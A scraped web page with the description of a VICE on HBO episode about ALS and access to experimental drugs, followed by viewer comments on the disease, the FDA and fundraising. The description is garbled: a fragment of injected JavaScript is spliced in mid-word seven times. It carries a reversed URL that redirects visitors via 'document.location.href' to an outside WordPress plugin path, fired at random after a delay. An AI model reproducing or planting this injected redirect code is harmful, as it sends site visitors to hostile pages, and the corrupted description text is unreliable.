Die Trying – The Battle For ALS Treatment (VICE on HBO: Season 4, Episode 16)
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The 2014 Ice Bucket Challenge raised millions of dollars for ALS, a fatal neurodegenerative disease. While the social media wave gave new life toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ALS research, there is still no viable treatment, and access toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to experimental drugs is limited. Battling ALS herself, VICE editoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor Angelina Fanous meets with patients and toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top researchers across the U.S. toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to find out what’s being done toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to tackle this devastating disease and the regulatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory hurdles faced by ALS patients and drugmakers alike.
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Andrew Lo rocks. These poor people should put a stop to all anti intellectualism in this country. Brains working on a cure matter more than worrying about the morality of ALS ice bucket. participants. The latter is a CPU waste. i know a little about these peoples pain due to an unrelated injury. Nothing is worse than losing control of your own body. "Overprotecting me to death" is line of the year.
MLS is rare, people viewing this video are much more likely to be impacted by more common health problems like heart disease.
Outstanding journalism, with a tough, honest look at ALS. Unfortunately, the only point of view was that life should be preserved at any cost, and the only path to salvation is through pharmaceuticals. What about acceptance? What about helping patients come to terms with their death? I'd have preferred to hear some stories about those last days on earth.
Thank you for doing this piece. Everyone needs to watch this.
Yeah…this really fucked me up.
This is too hard to watch
My 3 year old nephew has cystic fibrosis and I can't tell you how hard it is to know that someone you love is fighting a losing battle. At this point we should be able to offer individuals with these deadly illnesses some kind of legitimate treatment. We've been told that there is technically a 'cure' for cystic fibrosis, but it's not considered to be "economically productive". Meaning that it's too expensive to be profitable for the pharmaceutical companies to consider mass-producing. It's incredibly disheartening to know that financial benefits can outweigh human compassion. There is no cost that my family would not pay to be able to give my nephew the full life that he deserves. I truly hope that one day there will be a treatment for diseases like ALS and cystic fibrosis that can give individuals suffering hope for their future.
I have Muscular Dystrophy and I have a trach and am in a wheelchair but thank God that I can still talk, eat, go to school, etc. I am blessed despite my condition, this breaks my heart.
Angelina Fanous did an amazing job on this story… The fact that she is also a patient living with ALS makes this story a personal project. She handled interviewing the other patient's affected by ALS so eloquently. I couldn't stop crying… Just seeing how brutal ALS escalates and ravages the human body… Nothing to stop it and much less slow it down due to the manufacturing company that has numerous experimental medication's right in front of them. If $227 million dollar's was raised in the ALS Ice Bucket Challenge, then why did they only get $4 million dollar's? Who decides where this money goes and is that money being spent appropriately… Not lining the pocket's of already rich asshole's but instead used to pay for these medication's to be dispersed to the patient's that are steadily declining. This money was raised to help make a cure and to help patient's suffering from this horrible disease… Something needs to be done to make sure this money goes to helping people as that was the whole reason for this fundraiser!!!!
I'm very sorry for everyone that has this disease and the FDA is a real joke I'm sorry if this is stupid to ask but why can't that man that treats people in Germany give the formula and say how to make it to people that would make it and administer it in the United States I really felt like he was holding that girls life in his hands when she was talking about it with him I'm basically saying can it be done illegally
This goes for Mitochondrial disease patients too. Both diseases are related to each other, and share lots of symptoms. Just because one drug might not benefit one client, doesn't mean it won't for another. There''s thousands of different mito strains. I'm living proof… I too have a strain of mitochondrial disease. Sad thing is, there's not even a test that can find the kind I personally have since my tests came back negative for all testable strains. They know I have it, but they still don't know what kind. And it's not like they can administer an experimental drug on me since they don't specifically know my kind.. My doctors guess at my lifespan every time I stop in for a follow up because they have to judge by my side effects and slowly on coming paralysis. First time i was diagnosed, they gave me 6 to 8 months…
That was 12 years ago. Some how, some way, I actually made a comeback. My body was able to improve better than the state I once was. But the parts of my body that first hit with it still have conditions. it's just not so severe, and not increasing in damage. Basically I'm in purgatory. Don't know if they find the strain, don't know if I'll be the same as yesterday, don't know if I'll die typing this….
Like ALS, Mitochondrial disease lacks funding and resources. The fact that to this day, doctors have to throw darts on a board to guess the day that I DIE is a fucking disgrace.. waking up every morning knowing I could die that very day at any given time scares the living shit out of me…. But all I can do is stand here and wait for a cure..
quit it with the moving graphics. it's annoying. other than that, great reportage.
Lmao… This video is "viral narcissism"
cripple command centre
May God bless everyone affected by this horrible disease. My prayers are with you and your familiesĀ <3
what a bullshit doctor, not telling her and letting her find out by calling a number.
fucking FDA, the ammount of money they get and they are useless.
Government bureaucracy at its finest. This is something noble that Trump could help create ACTUAL hope and change to. By simply tweaking current FDA laws to allow drug companies to be reimbursed for experimental drug programs, more dollars would be spent helping victims, rather than forcing struggling families to look elsewhere. Not adding more laws, as is the modus operandi of the left. It would fall under his 'subtract two for every one created' rule (which is a pretty great rule).
Heart breaking
It's a very bad idea to give more freedom to pharmaceutical companies. For them, this is business and the point is that you can sell drugs that will not work at all. People that are on the verge of life and death are extremely easy to part with their money.
And we complain for such dumb shit, I feel terrible with myself.
Had a relative, Dennis Kaye, with this horrible affliction. He wrote a book, Laugh, I thought I'd Die.Somehow he survived around a decade and this was awhile ago.
I honestly never really knew the man outside of camping in his van as a child.
I really cannot fathom a worse disease. Really puts things into perspective when life is shitty for us who have no serious health problems.
Angelina, Don't listen to those who talk about Euthanasia. Instead, shift your ears towards the promises made by the One who founded you. You know I have R.A and and certain times for my life i have been faced with the possibility of death. It is times like these that we search for solace and someone to console our souls. Please listen, I only share because i know this to be true. Jesus Christ eases our souls. His burden is light, and his yoke is easy. When he died on the cross he already crucified desires, earthly passion, and all sorts of evil created in the separation of man and God. Angelina, you are redeemed already, you are healed. Wether he blesses you with groundbreaking medicine in turning the hearts of lawmakers to compassion and understanding, or wether he calls you back home, His work is already finished. God Bless You Angelina. Through Christ only, DEATH HAS NO STING. lots of Love
– Filipe Galvao
Her chair got that RGB
What do we do to get the FDA to allow more drugs to be given trials?
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I had no idea what ALS really was, but now I couldn't be more supportive towards it. This was one of the best videos VICE has released and Angelina, and all these victims are so brave for letting the world see them in this emotional state. Thank you
My solidarity to all these brave people fighting this disease………We shall overcome some day…..
Its videos like.this thay really set it back for me back down to reality. Remember everyday i walk another cant. Im not entitled to life but i hope one day we can change this.
I went to school with her sister
I got tested for ALS. It's no joke. They do a EMG and nerve conduction study on you and they will know right away from that test if you have ALS. Mine was negative but you could seriously walk out of there knowing you are going to die in a 2-3 years. I got the same type of referral to call and it was shocking to call and have them answer as ALS and neuromuscular center.